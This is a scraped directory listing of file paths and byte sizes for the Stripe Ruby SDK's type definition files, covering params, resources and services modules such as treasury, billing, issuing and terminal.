bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/received_debit_list_params.rbiasset2,668 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/received_debit_retrieve_params.rbiasset567 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/transaction_entry_list_params.rbiasset6,411 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/transaction_entry_retrieve_params.rbiasset570 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/transaction_list_params.rbiasset7,270 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/transaction_retrieve_params.rbiasset565 bytesreference/references/stripe-ruby/rbi/stripe/params/v2/billing/meter_event_adjustment_create_params.rbiasset1,760 bytesreference/references/stripe-ruby/rbi/stripe/params/v2/billing/meter_event_create_params.rbiasset2,094 bytesreference/references/stripe-ruby/rbi/stripe/params/v2/billing/meter_event_session_create_params.rbiasset219 bytesreference/references/stripe-ruby/rbi/stripe/params/v2/billing/meter_event_stream_create_params.rbiasset2,775 bytesreference/references/stripe-ruby/rbi/stripe/params/v2/core/account_close_params.rbiasset775 bytesreference/references/stripe-ruby/rbi/stripe/params/v2/core/account_create_params.rbiasset209,242 bytesreference/references/stripe-ruby/rbi/stripe/params/v2/core/account_link_create_params.rbiasset10,003 bytesreference/references/stripe-ruby/rbi/stripe/params/v2/core/account_list_params.rbiasset1,463 bytesreference/references/stripe-ruby/rbi/stripe/params/v2/core/account_retrieve_params.rbiasset590 bytesreference/references/stripe-ruby/rbi/stripe/params/v2/core/account_token_create_params.rbiasset97,216 bytesreference/references/stripe-ruby/rbi/stripe/params/v2/core/account_token_retrieve_params.rbiasset213 bytesreference/references/stripe-ruby/rbi/stripe/params/v2/core/account_update_params.rbiasset218,240 bytesreference/references/stripe-ruby/rbi/stripe/params/v2/core/accounts/person_create_params.rbiasset41,688 bytesreference/references/stripe-ruby/rbi/stripe/params/v2/core/accounts/person_delete_params.rbiasset239 bytesreference/references/stripe-ruby/rbi/stripe/params/v2/core/accounts/person_list_params.rbiasset621 bytesreference/references/stripe-ruby/rbi/stripe/params/v2/core/accounts/person_retrieve_params.rbiasset241 bytesreference/references/stripe-ruby/rbi/stripe/params/v2/core/accounts/person_token_create_params.rbiasset41,695 bytesreference/references/stripe-ruby/rbi/stripe/params/v2/core/accounts/person_token_retrieve_params.rbiasset246 bytesreference/references/stripe-ruby/rbi/stripe/params/v2/core/accounts/person_update_params.rbiasset42,133 bytesreference/references/stripe-ruby/rbi/stripe/params/v2/core/event_destination_create_params.rbiasset5,210 bytesreference/references/stripe-ruby/rbi/stripe/params/v2/core/event_destination_delete_params.rbiasset215 bytesreference/references/stripe-ruby/rbi/stripe/params/v2/core/event_destination_disable_params.rbiasset216 bytesreference/references/stripe-ruby/rbi/stripe/params/v2/core/event_destination_enable_params.rbiasset215 bytesreference/references/stripe-ruby/rbi/stripe/params/v2/core/event_destination_list_params.rbiasset880 bytesreference/references/stripe-ruby/rbi/stripe/params/v2/core/event_destination_ping_params.rbiasset213 bytesreference/references/stripe-ruby/rbi/stripe/params/v2/core/event_destination_retrieve_params.rbiasset599 bytesreference/references/stripe-ruby/rbi/stripe/params/v2/core/event_destination_update_params.rbiasset2,936 bytesreference/references/stripe-ruby/rbi/stripe/params/v2/core/event_list_params.rbiasset3,080 bytesreference/references/stripe-ruby/rbi/stripe/params/v2/core/event_retrieve_params.rbiasset206 bytesreference/references/stripe-ruby/rbi/stripe/params/webhook_endpoint_create_params.rbiasset2,855 bytesreference/references/stripe-ruby/rbi/stripe/params/webhook_endpoint_delete_params.rbiasset168 bytesreference/references/stripe-ruby/rbi/stripe/params/webhook_endpoint_list_params.rbiasset1,948 bytesreference/references/stripe-ruby/rbi/stripe/params/webhook_endpoint_retrieve_params.rbiasset527 bytesreference/references/stripe-ruby/rbi/stripe/params/webhook_endpoint_update_params.rbiasset2,507 bytesreference/references/stripe-ruby/rbi/stripe/resources/account.rbiasset69,209 bytesreference/references/stripe-ruby/rbi/stripe/resources/account_link.rbiasset1,267 bytesreference/references/stripe-ruby/rbi/stripe/resources/account_session.rbiasset31,049 bytesreference/references/stripe-ruby/rbi/stripe/resources/apple_pay_domain.rbiasset1,919 bytesreference/references/stripe-ruby/rbi/stripe/resources/application.rbiasset560 bytesreference/references/stripe-ruby/rbi/stripe/resources/application_fee.rbiasset3,472 bytesreference/references/stripe-ruby/rbi/stripe/resources/application_fee_refund.rbiasset1,770 bytesreference/references/stripe-ruby/rbi/stripe/resources/apps/secret.rbiasset3,692 bytesreference/references/stripe-ruby/rbi/stripe/resources/balance.rbiasset14,802 bytesreference/references/stripe-ruby/rbi/stripe/resources/balance_settings.rbiasset4,318 bytesreference/references/stripe-ruby/rbi/stripe/resources/balance_transaction.rbiasset6,554 bytesreference/references/stripe-ruby/rbi/stripe/resources/bank_account.rbiasset9,739 bytesreference/references/stripe-ruby/rbi/stripe/resources/billing/alert.rbiasset4,969 bytesreference/references/stripe-ruby/rbi/stripe/resources/billing/alert_triggered.rbiasset1,116 bytesreference/references/stripe-ruby/rbi/stripe/resources/billing/credit_balance_summary.rbiasset3,853 bytesreference/references/stripe-ruby/rbi/stripe/resources/billing/credit_balance_transaction.rbiasset6,905 bytesreference/references/stripe-ruby/rbi/stripe/resources/billing/credit_grant.rbiasset7,581 bytesreference/references/stripe-ruby/rbi/stripe/resources/billing/meter.rbiasset5,965 bytesreference/references/stripe-ruby/rbi/stripe/resources/billing/meter_event.rbiasset2,005 bytesreference/references/stripe-ruby/rbi/stripe/resources/billing/meter_event_adjustment.rbiasset1,906 bytesreference/references/stripe-ruby/rbi/stripe/resources/billing/meter_event_summary.rbiasset1,600 bytesreference/references/stripe-ruby/rbi/stripe/resources/billing_portal/configuration.rbiasset13,626 bytesreference/references/stripe-ruby/rbi/stripe/resources/billing_portal/session.rbiasset10,601 bytesreference/references/stripe-ruby/rbi/stripe/resources/capability.rbiasset9,249 bytesreference/references/stripe-ruby/rbi/stripe/resources/card.rbiasset7,938 bytesreference/references/stripe-ruby/rbi/stripe/resources/cash_balance.rbiasset1,927 bytesreference/references/stripe-ruby/rbi/stripe/resources/charge.rbiasset117,889 bytesreference/references/stripe-ruby/rbi/stripe/resources/checkout/session.rbiasset132,519 bytesreference/references/stripe-ruby/rbi/stripe/resources/climate/order.rbiasset8,233 bytesreference/references/stripe-ruby/rbi/stripe/resources/climate/product.rbiasset2,850 bytesreference/references/stripe-ruby/rbi/stripe/resources/climate/supplier.rbiasset2,219 bytesreference/references/stripe-ruby/rbi/stripe/resources/confirmation_token.rbiasset78,676 bytesreference/references/stripe-ruby/rbi/stripe/resources/connect_collection_transfer.rbiasset1,018 bytesreference/references/stripe-ruby/rbi/stripe/resources/country_spec.rbiasset3,641 bytesreference/references/stripe-ruby/rbi/stripe/resources/coupon.rbiasset6,956 bytesreference/references/stripe-ruby/rbi/stripe/resources/credit_note.rbiasset15,102 bytesreference/references/stripe-ruby/rbi/stripe/resources/credit_note_line_item.rbiasset5,177 bytesreference/references/stripe-ruby/rbi/stripe/resources/customer.rbiasset20,347 bytesreference/references/stripe-ruby/rbi/stripe/resources/customer_balance_transaction.rbiasset3,624 bytesreference/references/stripe-ruby/rbi/stripe/resources/customer_cash_balance_transaction.rbiasset9,907 bytesreference/references/stripe-ruby/rbi/stripe/resources/customer_session.rbiasset12,857 bytesreference/references/stripe-ruby/rbi/stripe/resources/discount.rbiasset3,284 bytesreference/references/stripe-ruby/rbi/stripe/resources/dispute.rbiasset26,255 bytesreference/references/stripe-ruby/rbi/stripe/resources/entitlements/active_entitlement.rbiasset1,311 bytesreference/references/stripe-ruby/rbi/stripe/resources/entitlements/active_entitlement_summary.rbiasset795 bytesreference/references/stripe-ruby/rbi/stripe/resources/entitlements/feature.rbiasset2,368 bytesreference/references/stripe-ruby/rbi/stripe/resources/ephemeral_key.rbiasset1,517 bytesreference/references/stripe-ruby/rbi/stripe/resources/event.rbiasset5,145 bytesreference/references/stripe-ruby/rbi/stripe/resources/exchange_rate.rbiasset2,971 bytesreference/references/stripe-ruby/rbi/stripe/resources/file.rbiasset2,801 bytesreference/references/stripe-ruby/rbi/stripe/resources/file_link.rbiasset2,348 bytesreference/references/stripe-ruby/rbi/stripe/resources/financial_connections/account.rbiasset14,647 bytesreference/references/stripe-ruby/rbi/stripe/resources/financial_connections/account_owner.rbiasset1,111 bytesreference/references/stripe-ruby/rbi/stripe/resources/financial_connections/account_ownership.rbiasset770 bytesreference/references/stripe-ruby/rbi/stripe/resources/financial_connections/session.rbiasset3,748 bytesreference/references/stripe-ruby/rbi/stripe/resources/financial_connections/transaction.rbiasset2,813 bytesreference/references/stripe-ruby/rbi/stripe/resources/forwarding/request.rbiasset6,290 bytesreference/references/stripe-ruby/rbi/stripe/resources/funding_instructions.rbiasset24,235 bytesreference/references/stripe-ruby/rbi/stripe/resources/identity/verification_report.rbiasset16,565 bytesreference/references/stripe-ruby/rbi/stripe/resources/identity/verification_session.rbiasset19,625 bytesreference/references/stripe-ruby/rbi/stripe/resources/invoice.rbiasset71,721 bytesreference/references/stripe-ruby/rbi/stripe/resources/invoice_item.rbiasset10,317 bytesreference/references/stripe-ruby/rbi/stripe/resources/invoice_line_item.rbiasset12,940 bytesreference/references/stripe-ruby/rbi/stripe/resources/invoice_payment.rbiasset4,705 bytesreference/references/stripe-ruby/rbi/stripe/resources/invoice_rendering_template.rbiasset3,757 bytesreference/references/stripe-ruby/rbi/stripe/resources/issuing/authorization.rbiasset29,635 bytesreference/references/stripe-ruby/rbi/stripe/resources/issuing/card.rbiasset17,438 bytesreference/references/stripe-ruby/rbi/stripe/resources/issuing/cardholder.rbiasset13,991 bytesreference/references/stripe-ruby/rbi/stripe/resources/issuing/dispute.rbiasset16,486 bytesreference/references/stripe-ruby/rbi/stripe/resources/issuing/personalization_design.rbiasset5,372 bytesreference/references/stripe-ruby/rbi/stripe/resources/issuing/physical_bundle.rbiasset2,263 bytesreference/references/stripe-ruby/rbi/stripe/resources/issuing/token.rbiasset9,070 bytesreference/references/stripe-ruby/rbi/stripe/resources/issuing/transaction.rbiasset19,630 bytesreference/references/stripe-ruby/rbi/stripe/resources/line_item.rbiasset3,733 bytesreference/references/stripe-ruby/rbi/stripe/resources/login_link.rbiasset866 bytesreference/references/stripe-ruby/rbi/stripe/resources/mandate.rbiasset13,705 bytesreference/references/stripe-ruby/rbi/stripe/resources/payment_attempt_record.rbiasset93,974 bytesreference/references/stripe-ruby/rbi/stripe/resources/payment_intent.rbiasset182,892 bytesreference/references/stripe-ruby/rbi/stripe/resources/payment_intent_amount_details_line_item.rbiasset5,378 bytesreference/references/stripe-ruby/rbi/stripe/resources/payment_link.rbiasset33,247 bytesreference/references/stripe-ruby/rbi/stripe/resources/payment_method.rbiasset73,743 bytesreference/references/stripe-ruby/rbi/stripe/resources/payment_method_configuration.rbiasset74,596 bytesreference/references/stripe-ruby/rbi/stripe/resources/payment_method_domain.rbiasset10,221 bytesreference/references/stripe-ruby/rbi/stripe/resources/payment_record.rbiasset98,651 bytesreference/references/stripe-ruby/rbi/stripe/resources/payout.rbiasset10,824 bytesreference/references/stripe-ruby/rbi/stripe/resources/person.rbiasset27,072 bytesreference/references/stripe-ruby/rbi/stripe/resources/plan.rbiasset8,297 bytesreference/references/stripe-ruby/rbi/stripe/resources/price.rbiasset13,889 bytesreference/references/stripe-ruby/rbi/stripe/resources/product.rbiasset7,387 bytesreference/references/stripe-ruby/rbi/stripe/resources/product_feature.rbiasset1,190 bytesreference/references/stripe-ruby/rbi/stripe/resources/promotion_code.rbiasset5,752 bytesreference/references/stripe-ruby/rbi/stripe/resources/quote.rbiasset31,137 bytesreference/references/stripe-ruby/rbi/stripe/resources/radar/early_fraud_warning.rbiasset2,122 bytesreference/references/stripe-ruby/rbi/stripe/resources/radar/value_list.rbiasset3,936 bytesreference/references/stripe-ruby/rbi/stripe/resources/radar/value_list_item.rbiasset2,758 bytesreference/references/stripe-ruby/rbi/stripe/resources/refund.rbiasset26,751 bytesreference/references/stripe-ruby/rbi/stripe/resources/reporting/report_run.rbiasset5,105 bytesreference/references/stripe-ruby/rbi/stripe/resources/reporting/report_type.rbiasset2,644 bytesreference/references/stripe-ruby/rbi/stripe/resources/reserve_transaction.rbiasset828 bytesreference/references/stripe-ruby/rbi/stripe/resources/reversal.rbiasset2,568 bytesreference/references/stripe-ruby/rbi/stripe/resources/review.rbiasset5,200 bytesreference/references/stripe-ruby/rbi/stripe/resources/setup_attempt.rbiasset30,252 bytesreference/references/stripe-ruby/rbi/stripe/resources/setup_intent.rbiasset39,809 bytesreference/references/stripe-ruby/rbi/stripe/resources/shipping_rate.rbiasset5,930 bytesreference/references/stripe-ruby/rbi/stripe/resources/sigma/scheduled_query_run.rbiasset2,489 bytesreference/references/stripe-ruby/rbi/stripe/resources/source.rbiasset43,690 bytesreference/references/stripe-ruby/rbi/stripe/resources/source_mandate_notification.rbiasset4,095 bytesreference/references/stripe-ruby/rbi/stripe/resources/source_transaction.rbiasset6,173 bytesreference/references/stripe-ruby/rbi/stripe/resources/subscription.rbiasset44,359 bytesreference/references/stripe-ruby/rbi/stripe/resources/subscription_item.rbiasset6,253 bytesreference/references/stripe-ruby/rbi/stripe/resources/subscription_schedule.rbiasset32,849 bytesreference/references/stripe-ruby/rbi/stripe/resources/tax/association.rbiasset2,879 bytesreference/references/stripe-ruby/rbi/stripe/resources/tax/calculation.rbiasset16,717 bytesreference/references/stripe-ruby/rbi/stripe/resources/tax/calculation_line_item.rbiasset5,303 bytesreference/references/stripe-ruby/rbi/stripe/resources/tax/registration.rbiasset69,810 bytesreference/references/stripe-ruby/rbi/stripe/resources/tax/settings.rbiasset4,870 bytesreference/references/stripe-ruby/rbi/stripe/resources/tax/transaction.rbiasset14,331 bytesreference/references/stripe-ruby/rbi/stripe/resources/tax/transaction_line_item.rbiasset2,719 bytesreference/references/stripe-ruby/rbi/stripe/resources/tax_code.rbiasset1,033 bytesreference/references/stripe-ruby/rbi/stripe/resources/tax_deducted_at_source.rbiasset839 bytesreference/references/stripe-ruby/rbi/stripe/resources/tax_id.rbiasset5,532 bytesreference/references/stripe-ruby/rbi/stripe/resources/tax_rate.rbiasset5,632 bytesreference/references/stripe-ruby/rbi/stripe/resources/terminal/configuration.rbiasset27,506 bytesreference/references/stripe-ruby/rbi/stripe/resources/terminal/connection_token.rbiasset1,465 bytesreference/references/stripe-ruby/rbi/stripe/resources/terminal/location.rbiasset6,707 bytesreference/references/stripe-ruby/rbi/stripe/resources/terminal/onboarding_link.rbiasset2,209 bytesreference/references/stripe-ruby/rbi/stripe/resources/terminal/reader.rbiasset33,610 bytesreference/references/stripe-ruby/rbi/stripe/resources/test_helpers/test_clock.rbiasset4,503 bytesreference/references/stripe-ruby/rbi/stripe/resources/token.rbiasset3,957 bytesreference/references/stripe-ruby/rbi/stripe/resources/topup.rbiasset4,506 bytesreference/references/stripe-ruby/rbi/stripe/resources/transfer.rbiasset5,015 bytesreference/references/stripe-ruby/rbi/stripe/resources/treasury/credit_reversal.rbiasset3,489 bytesreference/references/stripe-ruby/rbi/stripe/resources/treasury/debit_reversal.rbiasset3,988 bytesreference/references/stripe-ruby/rbi/stripe/resources/treasury/financial_account.rbiasset9,942 bytesreference/references/stripe-ruby/rbi/stripe/resources/treasury/financial_account_features.rbiasset15,849 bytesreference/references/stripe-ruby/rbi/stripe/resources/treasury/inbound_transfer.rbiasset10,706 bytesreference/references/stripe-ruby/rbi/stripe/resources/treasury/outbound_payment.rbiasset14,440 bytesreference/references/stripe-ruby/rbi/stripe/resources/treasury/outbound_transfer.rbiasset13,526 bytesreference/references/stripe-ruby/rbi/stripe/resources/treasury/received_credit.rbiasset12,408 bytesreference/references/stripe-ruby/rbi/stripe/resources/treasury/received_debit.rbiasset8,910 bytesreference/references/stripe-ruby/rbi/stripe/resources/treasury/transaction.rbiasset8,353 bytesreference/references/stripe-ruby/rbi/stripe/resources/treasury/transaction_entry.rbiasset7,661 bytesreference/references/stripe-ruby/rbi/stripe/resources/v2/amount.rbiasset220 bytesreference/references/stripe-ruby/rbi/stripe/resources/v2/billing/meter_event.rbiasset1,785 bytesreference/references/stripe-ruby/rbi/stripe/resources/v2/billing/meter_event_adjustment.rbiasset1,749 bytesreference/references/stripe-ruby/rbi/stripe/resources/v2/billing/meter_event_session.rbiasset1,068 bytesreference/references/stripe-ruby/rbi/stripe/resources/v2/core/account.rbiasset179,253 bytesreference/references/stripe-ruby/rbi/stripe/resources/v2/core/account_link.rbiasset7,077 bytesreference/references/stripe-ruby/rbi/stripe/resources/v2/core/account_person.rbiasset22,641 bytesreference/references/stripe-ruby/rbi/stripe/resources/v2/core/account_person_token.rbiasset1,244 bytesreference/references/stripe-ruby/rbi/stripe/resources/v2/core/account_token.rbiasset1,262 bytesreference/references/stripe-ruby/rbi/stripe/resources/v2/core/event.rbiasset3,009 bytesreference/references/stripe-ruby/rbi/stripe/resources/v2/core/event_destination.rbiasset4,634 bytesreference/references/stripe-ruby/rbi/stripe/resources/v2/core/event_notification.rbiasset1,157 bytesreference/references/stripe-ruby/rbi/stripe/resources/v2/deleted_object.rbiasset468 bytesreference/references/stripe-ruby/rbi/stripe/resources/webhook_endpoint.rbiasset4,651 bytesreference/references/stripe-ruby/rbi/stripe/services/account_capability_service.rbiasset1,276 bytesreference/references/stripe-ruby/rbi/stripe/services/account_external_account_service.rbiasset2,379 bytesreference/references/stripe-ruby/rbi/stripe/services/account_link_service.rbiasset531 bytesreference/references/stripe-ruby/rbi/stripe/services/account_login_link_service.rbiasset648 bytesreference/references/stripe-ruby/rbi/stripe/services/account_person_service.rbiasset1,939 bytesreference/references/stripe-ruby/rbi/stripe/services/account_service.rbiasset4,766 bytesreference/references/stripe-ruby/rbi/stripe/services/account_session_service.rbiasset511 bytesreference/references/stripe-ruby/rbi/stripe/services/apple_pay_domain_service.rbiasset1,170 bytesreference/references/stripe-ruby/rbi/stripe/services/application_fee_refund_service.rbiasset2,445 bytesreference/references/stripe-ruby/rbi/stripe/services/application_fee_service.rbiasset925 bytesreference/references/stripe-ruby/rbi/stripe/services/apps/secret_service.rbiasset1,261 bytesreference/references/stripe-ruby/rbi/stripe/services/apps_service.rbiasset168 bytesreference/references/stripe-ruby/rbi/stripe/services/balance_service.rbiasset610 bytesreference/references/stripe-ruby/rbi/stripe/services/balance_settings_service.rbiasset931 bytesreference/references/stripe-ruby/rbi/stripe/services/balance_transaction_service.rbiasset1,093 bytesreference/references/stripe-ruby/rbi/stripe/services/billing/alert_service.rbiasset1,898 bytesreference/references/stripe-ruby/rbi/stripe/services/billing/credit_balance_summary_service.rbiasset498 bytesreference/references/stripe-ruby/rbi/stripe/services/billing/credit_balance_transaction_service.rbiasset798 bytesreference/references/stripe-ruby/rbi/stripe/services/billing/credit_grant_service.rbiasset1,819 bytesreference/references/stripe-ruby/rbi/stripe/services/billing/meter_event_adjustment_service.rbiasset483 bytesreference/references/stripe-ruby/rbi/stripe/services/billing/meter_event_service.rbiasset442 bytesreference/references/stripe-ruby/rbi/stripe/services/billing/meter_event_summary_service.rbiasset478 bytesreference/references/stripe-ruby/rbi/stripe/services/billing/meter_service.rbiasset2,001 bytesreference/references/stripe-ruby/rbi/stripe/services/billing_portal/configuration_service.rbiasset1,600 bytesreference/references/stripe-ruby/rbi/stripe/services/billing_portal/session_service.rbiasset462 bytesreference/references/stripe-ruby/rbi/stripe/services/billing_portal_service.rbiasset210 bytesreference/references/stripe-ruby/rbi/stripe/services/billing_service.rbiasset381 bytesreference/references/stripe-ruby/rbi/stripe/services/charge_service.rbiasset3,208 bytesreference/references/stripe-ruby/rbi/stripe/services/checkout/session_line_item_service.rbiasset644 bytesreference/references/stripe-ruby/rbi/stripe/services/checkout/session_service.rbiasset1,950 bytesreference/references/stripe-ruby/rbi/stripe/services/checkout_service.rbiasset173 bytesreference/references/stripe-ruby/rbi/stripe/services/climate/order_service.rbiasset2,202 bytesreference/references/stripe-ruby/rbi/stripe/services/climate/product_service.rbiasset759 bytesreference/references/stripe-ruby/rbi/stripe/services/climate/supplier_service.rbiasset741 bytesreference/references/stripe-ruby/rbi/stripe/services/climate_service.rbiasset223 bytesreference/references/stripe-ruby/rbi/stripe/services/confirmation_token_service.rbiasset476 bytesreference/references/stripe-ruby/rbi/stripe/services/country_spec_service.rbiasset696 bytesreference/references/stripe-ruby/rbi/stripe/services/coupon_service.rbiasset2,351 bytesreference/references/stripe-ruby/rbi/stripe/services/credit_note_line_item_service.rbiasset590 bytesreference/references/stripe-ruby/rbi/stripe/services/credit_note_preview_lines_service.rbiasset555 bytesreference/references/stripe-ruby/rbi/stripe/services/credit_note_service.rbiasset2,985 bytesreference/references/stripe-ruby/rbi/stripe/services/customer_balance_transaction_service.rbiasset1,796 bytesreference/references/stripe-ruby/rbi/stripe/services/customer_cash_balance_service.rbiasset741 bytesreference/references/stripe-ruby/rbi/stripe/services/customer_cash_balance_transaction_service.rbiasset1,014 bytesreference/references/stripe-ruby/rbi/stripe/services/customer_funding_instructions_service.rbiasset792 bytesreference/references/stripe-ruby/rbi/stripe/services/customer_payment_method_service.rbiasset805 bytesreference/references/stripe-ruby/rbi/stripe/services/customer_payment_source_service.rbiasset2,602 bytesreference/references/stripe-ruby/rbi/stripe/services/customer_service.rbiasset3,673 bytesreference/references/stripe-ruby/rbi/stripe/services/customer_session_service.rbiasset545 bytesreference/references/stripe-ruby/rbi/stripe/services/customer_tax_id_service.rbiasset1,300 bytesreference/references/stripe-ruby/rbi/stripe/services/dispute_service.rbiasset1,958 bytesreference/references/stripe-ruby/rbi/stripe/services/entitlements/active_entitlement_service.rbiasset787 bytesreference/references/stripe-ruby/rbi/stripe/services/entitlements/feature_service.rbiasset1,282 bytesreference/references/stripe-ruby/rbi/stripe/services/entitlements_service.rbiasset214 bytesreference/references/stripe-ruby/rbi/stripe/services/ephemeral_key_service.rbiasset700 bytesreference/references/stripe-ruby/rbi/stripe/services/event_service.rbiasset1,011 bytesreference/references/stripe-ruby/rbi/stripe/services/exchange_rate_service.rbiasset1,196 bytesreference/references/stripe-ruby/rbi/stripe/services/file_link_service.rbiasset1,187 bytesreference/references/stripe-ruby/rbi/stripe/services/file_service.rbiasset1,441 bytesreference/references/stripe-ruby/rbi/stripe/services/financial_connections/account_owner_service.rbiasset491 bytesreference/references/stripe-ruby/rbi/stripe/services/financial_connections/account_service.rbiasset2,485 bytesreference/references/stripe-ruby/rbi/stripe/services/financial_connections/session_service.rbiasset934 bytesreference/references/stripe-ruby/rbi/stripe/services/financial_connections/transaction_service.rbiasset850 bytesreference/references/stripe-ruby/rbi/stripe/services/financial_connections_service.rbiasset241 bytesreference/references/stripe-ruby/rbi/stripe/services/forwarding/request_service.rbiasset1,001 bytesreference/references/stripe-ruby/rbi/stripe/services/forwarding_service.rbiasset175 bytesreference/references/stripe-ruby/rbi/stripe/services/identity/verification_report_service.rbiasset770 bytesreference/references/stripe-ruby/rbi/stripe/services/identity/verification_session_service.rbiasset4,316 bytesreference/references/stripe-ruby/rbi/stripe/services/identity_service.rbiasset224 bytesreference/references/stripe-ruby/rbi/stripe/services/invoice_item_service.rbiasset2,016 bytesreference/references/stripe-ruby/rbi/stripe/services/invoice_line_item_service.rbiasset1,299 bytesreference/references/stripe-ruby/rbi/stripe/services/invoice_payment_service.rbiasset867 bytesreference/references/stripe-ruby/rbi/stripe/services/invoice_rendering_template_service.rbiasset1,850 bytesreference/references/stripe-ruby/rbi/stripe/services/invoice_service.rbiasset9,756 bytesreference/references/stripe-ruby/rbi/stripe/services/issuing/authorization_service.rbiasset2,765 bytesreference/references/stripe-ruby/rbi/stripe/services/issuing/card_service.rbiasset1,466 bytesreference/references/stripe-ruby/rbi/stripe/services/issuing/cardholder_service.rbiasset1,590 bytesreference/references/stripe-ruby/rbi/stripe/services/issuing/dispute_service.rbiasset2,457 bytesreference/references/stripe-ruby/rbi/stripe/services/issuing/personalization_design_service.rbiasset1,599 bytesreference/references/stripe-ruby/rbi/stripe/services/issuing/physical_bundle_service.rbiasset891 bytesreference/references/stripe-ruby/rbi/stripe/services/issuing/token_service.rbiasset1,052 bytesreference/references/stripe-ruby/rbi/stripe/services/issuing/transaction_service.rbiasset1,301 bytesreference/references/stripe-ruby/rbi/stripe/services/issuing_service.rbiasset385 bytesreference/references/stripe-ruby/rbi/stripe/services/mandate_service.rbiasset405 bytesreference/references/stripe-ruby/rbi/stripe/services/payment_attempt_record_service.rbiasset752 bytesreference/references/stripe-ruby/rbi/stripe/services/payment_intent_amount_details_line_item_service.rbiasset470 bytesreference/references/stripe-ruby/rbi/stripe/services/payment_intent_service.rbiasset9,313 bytesreference/references/stripe-ruby/rbi/stripe/services/payment_link_line_item_service.rbiasset610 bytesreference/references/stripe-ruby/rbi/stripe/services/payment_link_service.rbiasset1,199 bytesreference/references/stripe-ruby/rbi/stripe/services/payment_method_configuration_service.rbiasset1,332 bytesreference/references/stripe-ruby/rbi/stripe/services/payment_method_domain_service.rbiasset2,277 bytesreference/references/stripe-ruby/rbi/stripe/services/payment_method_service.rbiasset3,808 bytesreference/references/stripe-ruby/rbi/stripe/services/payment_record_service.rbiasset3,138 bytesreference/references/stripe-ruby/rbi/stripe/services/payout_service.rbiasset3,296 bytesreference/references/stripe-ruby/rbi/stripe/services/plan_service.rbiasset1,736 bytesreference/references/stripe-ruby/rbi/stripe/services/price_service.rbiasset2,197 bytesreference/references/stripe-ruby/rbi/stripe/services/product_feature_service.rbiasset1,392 bytesreference/references/stripe-ruby/rbi/stripe/services/product_service.rbiasset2,615 bytesreference/references/stripe-ruby/rbi/stripe/services/promotion_code_service.rbiasset1,606 bytesreference/references/stripe-ruby/rbi/stripe/services/quote_computed_upfront_line_items_service.rbiasset720 bytesreference/references/stripe-ruby/rbi/stripe/services/quote_line_item_service.rbiasset577 bytesreference/references/stripe-ruby/rbi/stripe/services/quote_service.rbiasset2,554 bytesreference/references/stripe-ruby/rbi/stripe/services/radar/early_fraud_warning_service.rbiasset979 bytesreference/references/stripe-ruby/rbi/stripe/services/radar/value_list_item_service.rbiasset1,508 bytesreference/references/stripe-ruby/rbi/stripe/services/radar/value_list_service.rbiasset1,977 bytesreference/references/stripe-ruby/rbi/stripe/services/radar_service.rbiasset245 bytesreference/references/stripe-ruby/rbi/stripe/services/refund_service.rbiasset2,541 bytesreference/references/stripe-ruby/rbi/stripe/services/reporting/report_run_service.rbiasset1,181 bytesreference/references/stripe-ruby/rbi/stripe/services/reporting/report_type_service.rbiasset857 bytesreference/references/stripe-ruby/rbi/stripe/services/reporting_service.rbiasset207 bytesreference/references/stripe-ruby/rbi/stripe/services/review_service.rbiasset1,081 bytesreference/references/stripe-ruby/rbi/stripe/services/setup_attempt_service.rbiasset432 bytesreference/references/stripe-ruby/rbi/stripe/services/setup_intent_service.rbiasset3,650 bytesreference/references/stripe-ruby/rbi/stripe/services/shipping_rate_service.rbiasset1,265 bytesreference/references/stripe-ruby/rbi/stripe/services/sigma/scheduled_query_run_service.rbiasset797 bytesreference/references/stripe-ruby/rbi/stripe/services/sigma_service.rbiasset182 bytesreference/references/stripe-ruby/rbi/stripe/services/source_service.rbiasset2,018 bytesreference/references/stripe-ruby/rbi/stripe/services/source_transaction_service.rbiasset435 bytesreference/references/stripe-ruby/rbi/stripe/services/subscription_item_service.rbiasset1,708 bytesreference/references/stripe-ruby/rbi/stripe/services/subscription_schedule_service.rbiasset2,641 bytesreference/references/stripe-ruby/rbi/stripe/services/subscription_service.rbiasset8,112 bytesreference/references/stripe-ruby/rbi/stripe/services/tax/association_service.rbiasset450 bytesreference/references/stripe-ruby/rbi/stripe/services/tax/calculation_line_item_service.rbiasset540 bytesreference/references/stripe-ruby/rbi/stripe/services/tax/calculation_service.rbiasset843 bytesreference/references/stripe-ruby/rbi/stripe/services/tax/registration_service.rbiasset1,436 bytesreference/references/stripe-ruby/rbi/stripe/services/tax/settings_service.rbiasset780 bytesreference/references/stripe-ruby/rbi/stripe/services/tax/transaction_line_item_service.rbiasset522 bytesreference/references/stripe-ruby/rbi/stripe/services/tax/transaction_service.rbiasset1,194 bytesreference/references/stripe-ruby/rbi/stripe/services/tax_code_service.rbiasset852 bytesreference/references/stripe-ruby/rbi/stripe/services/tax_id_service.rbiasset1,151 bytesreference/references/stripe-ruby/rbi/stripe/services/tax_rate_service.rbiasset1,245 bytesreference/references/stripe-ruby/rbi/stripe/services/tax_service.rbiasset289 bytesreference/references/stripe-ruby/rbi/stripe/services/terminal/configuration_service.rbiasset1,679 bytesreference/references/stripe-ruby/rbi/stripe/services/terminal/connection_token_service.rbiasset645 bytesreference/references/stripe-ruby/rbi/stripe/services/terminal/location_service.rbiasset1,848 bytesreference/references/stripe-ruby/rbi/stripe/services/terminal/onboarding_link_service.rbiasset538 bytesreference/references/stripe-ruby/rbi/stripe/services/terminal/reader_service.rbiasset5,479 bytesreference/references/stripe-ruby/rbi/stripe/services/terminal_service.rbiasset300 bytesreference/references/stripe-ruby/rbi/stripe/services/test_helpers/confirmation_token_service.rbiasset510 bytesreference/references/stripe-ruby/rbi/stripe/services/test_helpers/customer_service.rbiasset516 bytesreference/references/stripe-ruby/rbi/stripe/services/test_helpers/issuing/authorization_service.rbiasset2,757 bytesreference/references/stripe-ruby/rbi/stripe/services/test_helpers/issuing/card_service.rbiasset2,036 bytesreference/references/stripe-ruby/rbi/stripe/services/test_helpers/issuing/personalization_design_service.rbiasset1,506 bytesreference/references/stripe-ruby/rbi/stripe/services/test_helpers/issuing/transaction_service.rbiasset1,276 bytesreference/references/stripe-ruby/rbi/stripe/services/test_helpers/issuing_service.rbiasset311 bytesreference/references/stripe-ruby/rbi/stripe/services/test_helpers/refund_service.rbiasset472 